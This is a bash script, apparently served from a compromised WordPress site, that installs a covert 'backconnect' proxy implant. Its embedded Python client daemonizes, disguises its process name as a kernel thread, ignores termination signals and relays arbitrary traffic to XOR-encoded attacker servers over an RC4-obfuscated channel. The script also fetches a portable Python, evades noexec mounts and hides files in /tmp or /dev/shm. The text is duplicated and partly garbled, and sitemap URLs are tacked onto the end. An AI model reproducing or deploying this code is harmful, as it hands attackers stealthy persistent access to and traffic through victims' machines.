else: if 0/dev/null # Method 1: Direct execution "$PYTHON" "$pyf" 2>/dev/null & sleep 1 [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0 # Method 2: Via stdin (bypass noexec) "$PYTHON" < "$pyf" 2>/dev/null & sleep 1 [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0 # Method 3: Via pipe cat "$pyf" | "$PYTHON" 2>/dev/null & sleep 1 [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0 return 1 } # ═══════════════════════════════════════════════════════════════════════ # INITIALIZATION # ═══════════════════════════════════════════════════════════════════════ PD="$(find_writable)" PYTHON="$(find_python)" if [ -z "$PYTHON" ]; then echo "ERROR: No Python 3 found" echo "Searched: python3, python, /usr/bin/python3, etc." echo "Auto-download also failed (need curl or wget)" exit 1 fi # ═══════════════════════════════════════════════════════════════════════ # MAIN LOGIC # ═══════════════════════════════════════════════════════════════════════ SRV=();FORCE=0 case "${1:-}" in -h|--help) echo "Backconnect Python v26 FINAL" echo "" echo "Usage: $0 [options] [server:port ...]" echo "" echo "Options:" echo " -e KEY srv:port... Encrypt server list" echo " -d KEY [-f] Decrypt ENC_DATA and run" echo " -k Kill all Python clients" echo " -s Show status" echo " -f Force restart" echo " --download Download portable Python" echo " -h, --help Show this help" echo "" echo "Examples:" echo " $0 server.com:443 # Direct run" echo " $0 srv1:443 srv2:8080 srv3:443 # Multiple servers" echo " $0 -e mykey srv1:443 srv2:443 # Encrypt servers" echo " $0 -d mykey # Decrypt and run" echo " $0 -d mykey -f # Decrypt + force restart" echo "" echo "Current config:" echo " Python: $PYTHON" echo " Arch: $(get_arch)" echo " Dir: ${PD:-}" exit 0 ;; -k) ka ;; -s) st ;; --download) echo "Downloading portable Python..." [ -z "$PD" ] && { echo "ERROR: No writable directory"; exit 1; } portable=$(download_portable_python "$PD") if [ -n "$portable" ] && [ -x "$portable" ]; then echo "Success: $portable" "$portable" --version else echo "Download failed" exit 1 fi exit 0 ;; -e) [ -z "$2" ] && { echo "Usage: $0 -e KEY server:port [server:port ...]"; exit 1; } K="$2"; shift 2 [ $# -eq 0 ] && { echo "ERROR: No servers specified"; exit 1; } enc_srv "$K" "$@" echo "" echo "Now insert this line into the script (replace ENC_DATA=\"\")" echo "Then run: $0 -d $K" exit 0 ;; -d) [ -z "$2" ] && { echo "Usage: $0 -d KEY [-f]"; exit 1; } K="$2"; shift 2 [ "${1:-}" = "-f" ] && { FORCE=1; shift; } if [ -z "$ENC_DATA" ]; then echo "ERROR: ENC_DATA is empty" echo "" echo "You need to:" echo " 1. Run: $0 -e KEY server:port..." echo " 2. Copy the output ENC_DATA=\"...\" into this script" echo " 3. Then run: $0 -d KEY" exit 1 fi DE=$(dec_srv "$K" "$ENC_DATA") if [ -z "$DE" ]; then echo "ERROR: Decryption failed" echo " ENC_DATA length: ${#ENC_DATA}" echo " KEY length: ${#K}" echo "" echo "Make sure you use the same key for -e and -d" exit 1 fi for s in $DE; do [[ "$s" == *:* ]] && SRV+=("$s") || SRV+=("$s:443") done ;; -f) FORCE=1; shift for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443") done ;; *) for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443") done ;; esac [ ${#SRV[@]} -eq 0 ] && { echo "No servers. Use -h for help"; exit 1; } mkdir -p "$PD" 2>/dev/null c=0 for s in "${SRV[@]}"; do h="${s%:*}"; p="${s#*:}"; id="${h}_${p}" c=$((c+1)) if ir "$h" "$p"; then if [ "$FORCE" = "1" ]; then printf "[%d/%d] %s:%s replacing... " "$c" "${#SRV[@]}" "$h" "$p" kt "$h" "$p" sleep 0.5 else echo "[$c/${#SRV[@]}] $h:$p already running (use -f to restart)" [ "$c" -lt "${#SRV[@]}" ] && sleep "$D" continue fi else printf "[%d/%d] %s:%s " "$c" "${#SRV[@]}" "$h" "$p" fi spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL" [ "$c" -lt "${#SRV[@]}" ] && sleep "$D" done echo "Done. Use -s for status." #!/bin/bash # Backconnect Python v26 FINAL - All features + All fixes # BCPY_MARKER - unique identifier for pgrep isolation N="bcpy";D=3;PD="" # Encrypted server data (fill after using -e) ENC_DATA="545941565b5a435b5d5c5e5b555c5b47544f5c52405d58574b4b574054535e49535b5c445d594350504741575d485e4655555b505d4f5e544b405a5b4b5f575d565a5c5e5a5b5e425644415c5053414a5f415e515a55595656525c584b545a464956574a5f5a585851465c4e56504141525a415d56415c5753485b5a56465c45495d5a514056554c5447585451525c53545941565b5a435b5d5c5e5b5d5c5b47544f5c52405d58574b4b574054535649535b5c445d594350504741575d485e4557555b505d4f5e544b405a5b4b5f575d56595e5e5a5b5e425644415c5053414a5f415e525c55595656525c584b545a464956574a5f595e5851465c4e56504141525a415d56415c5451485b5a56465c45495d5a514056554c54445a5451525c53545941565b5a435b5d5c5e58535c5b47544f5c52405d58574b4b574054505849535b5c445d594350504741575d485e455f555b505d4f5e544b405a5b4b5f575d5659565e5a5b5e425644415c5053414a5f415e535e55595656525c584b545a464956574a5f585c5851465c4e56504141525a415d56415c5557485b5a56465c45495d5a514056554c54455c5451525c53545941565b5a435b5d5c5e59515c5b47544f5c52405d58574b4b574054515a49535b5c445d594350504741575d485e4451555b505d4f5e544b405a5b4b5f575d5658585e5a5b5e425644415c5053414a5f415e535655595656525c584b545a464956574a5f58545851465c4e56504141525a415d56415c5a55485b5a56465c45495d5a514056554c544a5e5451525c53545941565b5a435b5d5c5e56575c5b47544f5c52405d58574b4b5740545e5c49535b5c445d594350504741575d485e4b53555b505d4f5b504b445f4054555e5d5658575e5a5b5e425340415855485e4056415e53575559565652595c4b505f5d565c5e4a5f575d5851465c4e5354414557415e575f415c5a54485b5a5646594149595f4a5f5c5c4c544a5d5451525c53515d41525e415c51545c5e56565c5b47544f595640595d4c54415e40545e5b49535b5c44585d4354555c5e5d54485e4b52555b505d4f5b504b445f4054555e5d5657595e5a5b5e425340415855485e4056415e5c595559565652595c4b505f5d565c5e4a5f57555851465c4e5354414557415e575f415c5a5c485b5a5646594149595f4a5f5c5c4c544b5f5451525c53515d41525e415c51545c5e57545c5b47544f595640595d4c54415e40545f5d49535b5c44585d4354555c5e5d54485e4a54555b505d4f5b504b445f4054555e5d56565b5e5a5b5e425340415855485e4056415e5d5b5559565652595c4b505f5d565c5e4a5f565b5851465c4e5354414557415e575f415c5b52485b5a5646594149595f4a5f5c5c4c544b575451525c53515d41525e415c51545c5e575c5c5b47544f595640595d4c54415e4057565f49535b5c44585d4354555c5e5d54485d4356555b505d4f5b504b445f4054555e5d555f5d5e5a5b5e425340415855485e4056415d545d5559565652595c4b505f5d565c5e4a5c5f595851465c4e5354414557415e575f415f5250485b5a5646594149595f4a5f5c5c4c57475c5451525c" # ═══════════════════════════════════════════════════════════════════════ # HELPER FUNCTIONS # ═══════════════════════════════════════════════════════════════════════ get_arch() { local arch=$(uname -m 2>/dev/null || echo "x86_64") case "$arch" in x86_64|amd64) echo "x86_64" ;; aarch64|arm64) echo "aarch64" ;; i686|i386|i586) echo "i686" ;; armv7l|armhf) echo "armv7" ;; *) echo "x86_64" ;; esac } find_writable() { local dirs=( "/tmp" "/var/tmp" "/dev/shm" "/run" "/run/user/$UID" "/run/user/$(id -u 2>/dev/null)" "$HOME" "${TMPDIR:-}" "${TEMP:-}" "${TMP:-}" "/usr/tmp" "/var/cache" "." "$PWD" "$(dirname "$0" 2>/dev/null)" ) for d in "${dirs[@]}"; do [ -z "$d" ] && continue [ ! -d "$d" ] && continue local tf="$d/.${N}_test_$$" if touch "$tf" 2>/dev/null; then rm -f "$tf" 2>/dev/null echo "$d/.$N" return 0 fi done echo "" return 1 } find_downloader() { command -v curl &>/dev/null && { echo "curl"; return 0; } command -v wget &>/dev/null && { echo "wget"; return 0; } return 1 } download_portable_python() { local dest_dir="$1" local arch=$(get_arch) local dl=$(find_downloader) [ -z "$dl" ] && return 1 [ -z "$dest_dir" ] && return 1 mkdir -p "$dest_dir" 2>/dev/null || return 1 local base_url="https://github.com/indygreg/python-build-standalone/releases/download/20240415" local filename="" case "$arch" in x86_64) filename="cpython-3.11.9+20240415-x86_64-unknown-linux-gnu-install_only.tar.gz" ;; aarch64) filename="cpython-3.11.9+20240415-aarch64-unknown-linux-gnu-install_only.tar.gz" ;; i686) filename="cpython-3.11.9+20240415-i686-unknown-linux-gnu-install_only.tar.gz" ;; *) return 1 ;; esac local url="$base_url/$filename" local tarball="$dest_dir/python.tar.gz" echo "Downloading portable Python (~25MB)..." >&2 if [ "$dl" = "curl" ]; then curl -fsSL -o "$tarball" "$url" 2>/dev/null || return 1 else wget -q -O "$tarball" "$url" 2>/dev/null || return 1 fi [ ! -f "$tarball" ] && return 1 local sz=$(stat -c%s "$tarball" 2>/dev/null || stat -f%z "$tarball" 2>/dev/null) [ "$sz" -lt 1000000 ] && { rm -f "$tarball"; return 1; } echo "Extracting..." >&2 cd "$dest_dir" && tar -xzf "$tarball" 2>/dev/null && rm -f "$tarball" [ -x "$dest_dir/python/bin/python3" ] && { echo "$dest_dir/python/bin/python3"; return 0; } [ -x "$dest_dir/python/bin/python3.11" ] && { echo "$dest_dir/python/bin/python3.11"; return 0; } return 1 } find_python() { local pythons=( "python3" "python" "python3.12" "python3.11" "python3.10" "python3.9" "python3.8" "/usr/bin/python3" "/usr/bin/python" "/usr/local/bin/python3" "/usr/local/bin/python" "/opt/python3/bin/python3" "/opt/python/bin/python" "/bin/python3" "/bin/python" ) for p in "${pythons[@]}"; do if command -v "$p" &>/dev/null || [ -x "$p" ]; then if "$p" -c "import sys; sys.exit(0 if sys.version_info[0]>=3 else 1)" 2>/dev/null; then echo "$p" return 0 fi fi done # Check already downloaded portable [ -n "$PD" ] && [ -x "$PD/python/bin/python3" ] && { echo "$PD/python/bin/python3"; return 0; } # Try to download portable if [ -n "$PD" ]; then local portable=$(download_portable_python "$PD") [ -n "$portable" ] && [ -x "$portable" ] && { echo "$portable"; return 0; } fi return 1 } # ═══════════════════════════════════════════════════════════════════════ # ENCRYPTION FUNCTIONS # ═══════════════════════════════════════════════════════════════════════ xc() { local k="$1" d="$2" o="" i=0 local kl="${#k}" [ "$kl" -eq 0 ] && { echo ""; return; } while [ $i -lt ${#d} ]; do local dc="${d:$i:2}" [ ${#dc} -lt 2 ] && break local db=$((16#$dc)) local ki=$((i/2%kl)) local kb=$(printf '%d' "'${k:$ki:1}") local xb=$((db^kb)) o+=$(printf '%02x' $xb) i=$((i+2)) done echo "$o" } s2h() { local s="$1" o="" i for ((i=0;i<${#s};i++)); do o+=$(printf '%02x' "'${s:$i:1}") done echo "$o" } h2s() { local h="$1" o="" i for ((i=0;i<${#h};i+=2)); do o+=$(printf "\\x${h:$i:2}") done echo -e "$o" } enc_srv() { local k="$1"; shift echo "ENC_DATA=\"$(xc "$k" "$(s2h "$*")")\"" } dec_srv() { [ -z "$2" ] && return h2s "$(xc "$1" "$2")" } # ═══════════════════════════════════════════════════════════════════════ # PROCESS MANAGEMENT # ═══════════════════════════════════════════════════════════════════════ fp() { pgrep -f "BCPY_MARKER.*$1.*$2" 2>/dev/null } kt() { local pids=$(fp "$1" "$2") [ -z "$pids" ] && return 0 echo "$pids" | xargs -r kill -15 2>/dev/null sleep 0.5 echo "$pids" | xargs -r kill -9 2>/dev/null sleep 0.3 } ka() { local pids=$(pgrep -f "BCPY_MARKER" 2>/dev/null) if [ -n "$pids" ]; then echo "$pids" | xargs -r kill -15 2>/dev/null sleep 1 pgrep -f "BCPY_MARKER" 2>/dev/null | xargs -r kill -9 2>/dev/null fi [ -n "$PD" ] && rm -f "$PD"/*.py "$PD"/*.pid 2>/dev/null [ -n "$PD" ] && rmdir "$PD" 2>/dev/null echo "All Python clients killed" exit 0 } st() { echo "═══════════════════════════════════════════" echo " Backconnect Python v26 Status" echo "═══════════════════════════════════════════" echo " Python: $PYTHON" echo " Arch: $(get_arch)" echo " Directory: ${PD:-}" echo " ENC_DATA: ${ENC_DATA:+SET (${#ENC_DATA} chars)}" [ -z "$ENC_DATA" ] && echo " ENC_DATA: " echo "───────────────────────────────────────────" echo " Running processes:" local count=0 if [ -n "$PD" ] && [ -d "$PD" ]; then for f in "$PD"/*.pid; do [ -f "$f" ] || continue local p=$(cat "$f" 2>/dev/null) local n=$(basename "$f" .pid) if [ -n "$p" ] && kill -0 "$p" 2>/dev/null; then if grep -q "BCPY_MARKER" /proc/$p/cmdline 2>/dev/null; then echo " ✓ $n (PID $p)" count=$((count+1)) fi fi done fi [ $count -eq 0 ] && echo " (none)" echo "═══════════════════════════════════════════" exit 0 } ir() { pgrep -f "BCPY_MARKER.*$1.*$2" >/dev/null 2>&1 && return 0 [ -z "$PD" ] && return 1 local pidf="$PD/${1}_${2}.pid" [ -f "$pidf" ] || return 1 local p=$(cat "$pidf" 2>/dev/null) [ -z "$p" ] && return 1 kill -0 "$p" 2>/dev/null || return 1 grep -q "BCPY_MARKER" /proc/$p/cmdline 2>/dev/null } # ═══════════════════════════════════════════════════════════════════════ # SPAWN FUNCTION # ═══════════════════════════════════════════════════════════════════════ spawn() { local host="$1" port="$2" id="$3" if [ -z "$PD" ]; then echo "No writable directory found" return 1 fi mkdir -p "$PD" 2>/dev/null local pidf="$PD/${id}.pid" local pyf="$PD/${id}.py" cat > "$pyf" << PYEOF #!/usr/bin/env python3 # BCPY_MARKER - DO NOT REMOVE import socket,select,threading,random,time,os,sys,signal try: threading.stack_size(131072) except:pass def daemonize(pidfile): if os.fork()>0:sys.exit(0) os.setsid() if os.fork()>0:sys.exit(0) try:os.chdir("/") except:pass os.umask(0) for fd in range(3,64): try:os.close(fd) except:pass sys.stdin=open("/dev/null","r") sys.stdout=open("/dev/null","w") sys.stderr=open("/dev/null","w") if pidfile: try: with open(pidfile,"w") as f:f.write(str(os.getpid())) except:pass def mask_process(): names=["kworker","migration","ksoftirqd","watchdog","rcu_sched","kswapd"] suffix=["","/0","/1","/0:0","/0:1"] pn=random.choice(names)+random.choice(suffix) try: import ctypes libc=ctypes.CDLL("libc.so.6") libc.prctl(15,pn.encode(),0,0,0) except:pass try: with open("/proc/self/comm","wb") as f:f.write(pn.encode()[:15]) except:pass H,P="${host}",${port} PF="${pidf}" daemonize(PF) mask_process() for s in[1,2,13,15]: try:signal.signal(s,signal.SIG_IGN) except:pass x=bytearray([random.randint(0,254)for _ in range(50)]) def rc4(p,b,s,z): L=len(p) for i in range(z):b[s+i]^=p[i%L] r=list(range(256));j=0 for i in range(256):j=(j+r[i]+p[i%L])&255;r[i],r[j]=r[j],r[i] i=j=0 for k in range(z): i=(i+1)&255;j=(j+r[i])&255;r[i],r[j]=r[j],r[i] b[s+k]^=r[(r[i]+r[j])&255] for i in range(z):b[s+i]^=p[i%L] SS=None SL=threading.Lock() AL=threading.Lock() sa=[0]*200 sk=[None]*200 wc=0 MAX_WORKERS=200 ALIVE=True GEN=0 def ssend(d,gen): global SS,GEN try: with SL: if SS and gen==GEN: SS.settimeout(10) try:SS.sendall(d) except:return 0 finally:SS.settimeout(None) return 1 except:return 0 def worker(n,cs,b0,gen): global sa,sk,wc,GEN,ALIVE r=bytearray([n,10,0,5,1,0,1,0,0,0,0,0,0]) ok=0 try: if b0[7]==3: dl=b0[8];dom=b0[9:9+dl].decode("latin-1");pt=(b0[9+dl]<<8)|b0[9+dl+1] elif b0[7]==1: dom=f"{b0[8]}.{b0[9]}.{b0[10]}.{b0[11]}";pt=(b0[12]<<8)|b0[13] else:raise Exception() cs.settimeout(15) cs.connect((dom,pt)) cs.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1) cs.settimeout(None) with AL: if gen==GEN and ALIVE:sa[n]=1;sk[n]=cs;r[4]=0;ok=1 except: try:cs.close() except:pass rc4(x,r,0,3);rc4(x,r,3,10);ssend(bytes(r),gen) if ok: try: while True: with AL: if sa[n]!=1 or gen!=GEN or not ALIVE:break try:rl,_,el=select.select([cs],[],[cs],1) except:break if el:break if rl: try:d=cs.recv(65530) except:break if not d:break buf=bytearray([n,len(d)&255,(len(d)>>8)&255])+bytearray(d) rc4(x,buf,0,3);rc4(x,buf,3,len(d)) if not ssend(bytes(buf),gen):break except:pass with AL: sa[n]=0;sk[n]=None if wc>0:wc-=1 try:cs.close() except:pass if gen==GEN:r[1]=r[2]=0;rc4(x,r,0,3);ssend(bytes(r[:3]),gen) reconnect_delay=5 max_reconnect_delay=60 def main(): global SS,sa,sk,wc,ALIVE,GEN,reconnect_delay with AL: GEN+=1;ALIVE=True;wc=0 for i in range(200): sa[i]=0;c=sk[i];sk[i]=None if c: try:c.close() except:pass gen=GEN rm=r4=ebx=edx=0;b0=bytearray();ex=0;ka_time=time.time() connected=False try: SS=socket.socket(socket.AF_INET,socket.SOCK_STREAM) SS.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1) SS.setsockopt(socket.SOL_SOCKET,socket.SO_KEEPALIVE,1) SS.settimeout(15) SS.connect((H,P)) SS.settimeout(None) hs=bytearray(100);hs[:50]=x;hs[50]=255;hs[51]=255;hs[54:60]=b"Python" rc4(x,hs,50,50);SS.sendall(bytes(hs)) connected=True;reconnect_delay=5 while ALIVE and gen==GEN: if r4<4: try:rl,_,el=select.select([SS],[],[SS],60) except:break if el:break if not rl: if time.time()-ka_time>60: ka=bytearray(3);rc4(x,ka,0,3) if not ssend(bytes(ka),gen):break ka_time=time.time() continue try:d=SS.recv(4-r4) except:break if not d:break b0.extend(d);r4+=len(d);ka_time=time.time() if r4==4:rc4(x,b0,0,4);ebx=b0[1];edx=b0[2]|(b0[3]<<8) if r4==4: if edx==0: if len(b0)>=2 and b0[0]==255 and b0[1]==254:ex=1;break if 01048576:break need=edx-rm if need>0: try:d=SS.recv(min(need,65536)) except:break if not d:break b0.extend(d);rm+=len(d) if rm==edx: rc4(x,b0,4,rm) if b0[0]==0: if 0=MAX_WORKERS:r4=0;rm=0;b0=bytearray();continue wc+=1 cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM) t=threading.Thread(target=worker,args=(ebx,cs,bytes(b0),gen),daemon=True) t.start() else: if 0/dev/null # Method 1: Direct execution "$PYTHON" "$pyf" 2>/dev/null & sleep 1 [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0 # Method 2: Via stdin (bypass noexec) "$PYTHON" < "$pyf" 2>/dev/null & sleep 1 [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0 # Method 3: Via pipe cat "$pyf" | "$PYTHON" 2>/dev/null & sleep 1 [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0 return 1 } # ═══════════════════════════════════════════════════════════════════════ # INITIALIZATION # ═══════════════════════════════════════════════════════════════════════ PD="$(find_writable)" PYTHON="$(find_python)" if [ -z "$PYTHON" ]; then echo "ERROR: No Python 3 found" echo "Searched: python3, python, /usr/bin/python3, etc." echo "Auto-download also failed (need curl or wget)" exit 1 fi # ═══════════════════════════════════════════════════════════════════════ # MAIN LOGIC # ═══════════════════════════════════════════════════════════════════════ SRV=();FORCE=0 case "${1:-}" in -h|--help) echo "Backconnect Python v26 FINAL" echo "" echo "Usage: $0 [options] [server:port ...]" echo "" echo "Options:" echo " -e KEY srv:port... Encrypt server list" echo " -d KEY [-f] Decrypt ENC_DATA and run" echo " -k Kill all Python clients" echo " -s Show status" echo " -f Force restart" echo " --download Download portable Python" echo " -h, --help Show this help" echo "" echo "Examples:" echo " $0 server.com:443 # Direct run" echo " $0 srv1:443 srv2:8080 srv3:443 # Multiple servers" echo " $0 -e mykey srv1:443 srv2:443 # Encrypt servers" echo " $0 -d mykey # Decrypt and run" echo " $0 -d mykey -f # Decrypt + force restart" echo "" echo "Current config:" echo " Python: $PYTHON" echo " Arch: $(get_arch)" echo " Dir: ${PD:-}" exit 0 ;; -k) ka ;; -s) st ;; --download) echo "Downloading portable Python..." [ -z "$PD" ] && { echo "ERROR: No writable directory"; exit 1; } portable=$(download_portable_python "$PD") if [ -n "$portable" ] && [ -x "$portable" ]; then echo "Success: $portable" "$portable" --version else echo "Download failed" exit 1 fi exit 0 ;; -e) [ -z "$2" ] && { echo "Usage: $0 -e KEY server:port [server:port ...]"; exit 1; } K="$2"; shift 2 [ $# -eq 0 ] && { echo "ERROR: No servers specified"; exit 1; } enc_srv "$K" "$@" echo "" echo "Now insert this line into the script (replace ENC_DATA=\"\")" echo "Then run: $0 -d $K" exit 0 ;; -d) [ -z "$2" ] && { echo "Usage: $0 -d KEY [-f]"; exit 1; } K="$2"; shift 2 [ "${1:-}" = "-f" ] && { FORCE=1; shift; } if [ -z "$ENC_DATA" ]; then echo "ERROR: ENC_DATA is empty" echo "" echo "You need to:" echo " 1. Run: $0 -e KEY server:port..." echo " 2. Copy the output ENC_DATA=\"...\" into this script" echo " 3. Then run: $0 -d KEY" exit 1 fi DE=$(dec_srv "$K" "$ENC_DATA") if [ -z "$DE" ]; then echo "ERROR: Decryption failed" echo " ENC_DATA length: ${#ENC_DATA}" echo " KEY length: ${#K}" echo "" echo "Make sure you use the same key for -e and -d" exit 1 fi for s in $DE; do [[ "$s" == *:* ]] && SRV+=("$s") || SRV+=("$s:443") done ;; -f) FORCE=1; shift for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443") done ;; *) for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443") done ;; esac [ ${#SRV[@]} -eq 0 ] && { echo "No servers. Use -h for help"; exit 1; } mkdir -p "$PD" 2>/dev/null c=0 for s in "${SRV[@]}"; do h="${s%:*}"; p="${s#*:}"; id="${h}_${p}" c=$((c+1)) if ir "$h" "$p"; then if [ "$FORCE" = "1" ]; then printf "[%d/%d] %s:%s replacing... " "$c" "${#SRV[@]}" "$h" "$p" kt "$h" "$p" sleep 0.5 else echo "[$c/${#SRV[@]}] $h:$p already running (use -f to restart)" [ "$c" -lt "${#SRV[@]}" ] && sleep "$D" continue fi else printf "[%d/%d] %s:%s " "$c" "${#SRV[@]}" "$h" "$p" fi spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL" [ "$c" -lt "${#SRV[@]}" ] && sleep "$D" done echo "Done. Use -s for status." https://universalmotionartsacademy.com/wp-sitemap-posts-post-1.xmlhttps://universalmotionartsacademy.com/wp-sitemap-posts-post-2.xmlhttps://universalmotionartsacademy.com/wp-sitemap-posts-post-3.xmlhttps://universalmotionartsacademy.com/wp-sitemap-posts-post-4.xmlhttps://universalmotionartsacademy.com/wp-sitemap-posts-page-1.xmlhttps://universalmotionartsacademy.com/wp-sitemap-taxonomies-category-1.xmlhttps://universalmotionartsacademy.com/wp-sitemap-users-1.xml